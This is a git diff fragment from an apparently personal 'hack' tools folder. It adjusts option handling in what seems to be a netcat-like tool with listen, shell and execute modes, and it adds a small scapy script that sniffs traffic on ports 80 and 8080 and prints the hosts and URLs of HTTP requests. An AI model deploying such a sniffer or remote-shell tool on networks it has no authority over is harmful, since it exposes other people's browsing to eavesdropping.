'--version', action='version', version='%(prog)s 0.1') + parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.2') gArgs = parser.parse_args() - - if gArgs.shell and gArgs.execute != '' : - Print("parameter error: -s or -e") - sys.exit() - - if gArgs.listen : - ServerEntry() - else : - ClientEntry() - def main() : try : ParseArguments() + if gArgs.shell and gArgs.execute != '' : + Print("parameter error: -s or -e") + sys.exit() + + if gArgs.listen : + ServerEntry() + else : + ClientEntry() except KeyboardInterrupt, e: Print("\n[!] User force to quit.") diff --git a/tools/hack/app.py b/tools/hack/app.py new file mode 100755 index 0000000..0686c34 --- /dev/null +++ b/tools/hack/app.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: app.py +# Author: Zhao Yanbai +# Tue Sep 29 10:27:23 2015 +# Description: AceVest Packet Peeper +# ------------------------------------------------------------------------ + +import os +import sys +import argparse +import scapy.all +import netaddr +import re +import urllib +import urllib2 +import BaseHTTPServer + +gArgs = None + +def ParseArguments() : + global gArgs + parser = argparse.ArgumentParser(prog='app', description='AceVest Packet Peeper', epilog='') + parser.add_argument('-i', '--iface', action='store', default='any', help='peeper interface') + parser.add_argument('-f', '--filter', action='store', default='', help='filter string') + parser.add_argument('-c', '--count', action='store', default='0', help='peeper packet count') + parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1') + gArgs = parser.parse_args() + + +class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler) : + def __init__(self, request) : + self.raw_requestline = request + self.parse_request() + + +def DoHttpHeader(s, port) : + lines = s.split('\r\n') + path = None + host = None + + for l in lines : + if l[:4] == 'GET ' : + path = l.split()[1] + if l[:5] == 'Host:' : + host = l.split()[1] + + print host+':'+str(port)+urllib.unquote_plus(path) + +def DoHttp(s, port) : + ''' + print s + print '-'*80 + print urllib2.parse_keqv_list(s) + print '-'*80 + hr = HTTPRequest(s) + print hr + h = BaseHTTPServer.BaseHTTPRequestHandler() + h.raw_requestline = s + h.parse_request() + return + ''' + if s[:4] == 'GET ' or s[:5] == 'POST ' : + DoHttpHeader(s, port) + +def PacketCallback(packet) : + #print packet.show() + if packet['IP'].proto == scapy.all.IP_PROTOS.tcp: + if packet['TCP'].dport in [80, 8080] : + DoHttp(str(packet['TCP'].payload), packet['TCP'].dport) + +def DoPeeper() : + global gArgs + ''' + print gArgs.iface + print gArgs.filter + print gArgs.count + + for ip in netaddr.IPNetwork('192.168.1.1/30') : + print ip + ''' + + scapy.all.sniff(filter=gArgs.filter, iface=gArgs.iface, prn=PacketCallback, count=gArgs.count, store=0) + + +def main() : + try : + ParseArguments() + DoPeeper() + except KeyboardInterrupt, e: + Print("\n[!] User force to quit.") + + +if __name__ == "__main__" : + main() -- 2.44.0